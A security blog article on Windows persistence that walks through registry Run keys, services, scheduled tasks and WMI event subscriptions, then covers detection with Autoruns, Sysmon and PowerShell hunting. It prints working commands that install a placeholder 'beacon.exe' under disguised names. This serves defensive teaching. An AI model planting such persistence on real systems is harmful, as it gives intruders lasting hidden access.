Hunting Windows Persistence: From Autoruns to WMI Event Subscriptions

Tools & Defense
2025.10.16
Time it takes to read this article 5 minutes.

Legal & ethical disclaimer. Everything below is intended for education, defensive research, and authorized penetration testing or red-team engagements only. Run these techniques exclusively in lab environments you own or against systems you have explicit written permission to test. Unauthorized access or persistence on systems you do not control is illegal in most jurisdictions.

Introduction / Overview

Persistence is the phase where an attacker ensures their access survives reboots, logoffs, and credential rotation. On Windows it is also one of the noisiest phases of an intrusion: nearly every persistence technique writes to a well-known location that defenders can enumerate. This article walks through the five most common persistence families — registry Run keys, Windows services, scheduled tasks, startup/Autoruns artifacts, and WMI event subscriptions — from both the offensive and the DFIR perspective, mapping each to its MITRE ATT&CK technique.

If you are coming from the analysis side, you may also want to read my notes on static malware triage with Ghidra and decoding C2 beacons, since persistence artifacts are usually the first thing you pivot from during an incident.

How it works / Background

All Windows persistence boils down to convincing the OS (or a privileged scheduler) to execute attacker-controlled code at a predictable trigger: boot, logon, a time interval, or a system event. The relevant ATT&CK techniques are:

  • T1547.001 — Registry Run Keys / Startup Folder
  • T1543.003 — Create or Modify System Process: Windows Service
  • T1053.005 — Scheduled Task/Job: Scheduled Task
  • T1546.003 — Event Triggered Execution: WMI Event Subscription

The trade-off for the attacker is stealth vs. privilege. Run keys are trivial and work as a standard user but are heavily monitored. Services and WMI subscriptions require local admin/SYSTEM but run earlier and survive in less obvious places.

Prerequisites / Lab setup

You need an isolated Windows 10/11 or Server VM (no production network), a local admin account, and the following tools:

  • Sysinternals Autoruns / autorunsc.exe (Microsoft) for enumeration
  • Sysmon with a tuned config (e.g. SwiftOnSecurity / Olaf Hartong's sysmon-modular)
  • PowerShell 5.1+ and the built-in schtasks, sc, reg, wmic utilities

Snapshot the VM before you start so you can revert.

Walkthrough / PoC

1. Registry Run key (T1547.001)

The classic per-user autostart. Writable without admin rights:

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Users\Public\beacon.exe" /f
BAT (Batchfile)

The machine-wide equivalent (HKLM\...\Run) requires admin. Less-watched variants include RunOnce, the Winlogon\Userinit/Shell values, and Image File Execution Options debugger hijacks.

2. Windows service (T1543.003)

A service runs as SYSTEM at boot. Create one pointing at your payload:

sc create WinHelpSvc binPath= "C:\Windows\Temp\svc.exe" start= auto DisplayName= "Windows Help Service"
sc description WinHelpSvc "Provides help services"
sc start WinHelpSvc
BAT (Batchfile)

Note the mandatory space after each = in sc.exe. Attackers often abuse weak service permissions or unquoted binPath instead of creating a new service outright.

3. Scheduled task (T1053.005)

Tasks can trigger on logon, boot, idle, or an interval, and can run as SYSTEM with /ru SYSTEM:

schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\beacon.exe" /sc onlogon /rl highest /f
BAT (Batchfile)

The PowerShell-native equivalent gives finer control over triggers:

$A = New-ScheduledTaskAction -Execute "C:\Users\Public\beacon.exe"
$T = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "OneDriveSync" -Action $A -Trigger $T -RunLevel Highest
PowerShell

Task definitions land as XML under C:\Windows\System32\Tasks\ and as registry entries under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree.

4. WMI permanent event subscription (T1546.003)

The stealthiest of the set, and a favourite of frameworks like Empire and Cobalt Strike. It requires three WMI objects in the root\subscription namespace: an EventFilter (the trigger), a CommandLineEventConsumer (the action), and a FilterToConsumerBinding linking them. The example below fires roughly 60 seconds after boot:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name='ATFilter'; EventNamespace='root\cimv2'; QueryLanguage='WQL';
    Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name='ATConsumer'; CommandLineTemplate='C:\Windows\Temp\beacon.exe'
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter=$Filter; Consumer=$Consumer
}
PowerShell

Because the payload executes from the WMI provider host (scrcons.exe / WmiPrvSE.exe) and leaves nothing in Run keys or the Tasks folder, casual triage misses it entirely.

Mermaid diagram

Hunting Windows Persistence: From Autoruns to WMI Event Subscriptions diagram 1

The diagram shows how every trigger path converges on payload execution, and how detection tooling is the single chokepoint that turns "attacker retains access" into "triage and remediate."

Detection & Defense (Blue Team)

Detection is where the home team has the advantage, because each technique above writes to an enumerable location.

Baseline with Autoruns. autorunsc.exe covers Run keys, services, tasks, Winlogon, and WMI subscriptions in one pass. Export a CSV, hash-verify signatures, and diff against a known-good baseline:

autorunsc.exe -accepteula -a * -c -h -s -nobanner * > autoruns.csv
BAT (Batchfile)

The -s flag verifies digital signatures so you can sort for unsigned binaries — a high-signal indicator.

Sysmon event IDs to alert on:

  • Event ID 12/13/14 — registry value set under any Run/Userinit/IFEO path
  • Event ID 13 — service ImagePath creation/modification
  • Event ID 1 — process create where ParentImage is scrcons.exe or WmiPrvSE.exe
  • Event ID 19/20/21 — WMI EventFilter, EventConsumer, and FilterToConsumerBinding activity (the most reliable WMI-persistence signal)

Hunt WMI subscriptions directly with PowerShell, since Autoruns can miss bindings created in non-default namespaces:

Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
PowerShell

Enumerate scheduled tasks for non-Microsoft authors and suspicious actions:

Get-ScheduledTask | Where-Object {$_.Principal.RunLevel -eq 'Highest'} |
  Select-Object TaskName, TaskPath, @{n='Action';e={$_.Actions.Execute}}
PowerShell

Mitigations weighted to the offense:

  • Forward Security event ID 4698 (scheduled task created) and 4697/7045 (service installed) to your SIEM; both are logged by default and map one-to-one to the techniques above.
  • Enable PowerShell Script Block Logging (Event ID 4104) to capture Set-WmiInstance persistence even when it is fileless.
  • Restrict service creation and apply least privilege so a standard-user compromise cannot reach SYSTEM-level persistence (services/WMI).
  • Use WDAC or AppLocker to block execution from C:\Users\Public, %TEMP%, and other writable staging directories that the PoCs rely on.
  • During IR, always check root\subscription and TaskCache\Tree explicitly — these are the spots adversaries pick precisely because they are skipped.

For deeper artifact correlation, the same triage discipline I describe in building a malware analysis lab applies here: baseline first, diff often.

Conclusion

Windows persistence is a cat-and-mouse game with an asymmetry in the defender's favour: the OS only offers a finite, well-documented set of autostart triggers, and tools like Autoruns and Sysmon cover essentially all of them. Attackers respond by migrating to quieter mechanisms — WMI event subscriptions, IFEO hijacks, and weak-permission abuse — but each still leaves a recoverable artifact. The defender who baselines the system, forwards the right event IDs, and explicitly inspects the WMI root\subscription namespace will catch every technique shown above.

References

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL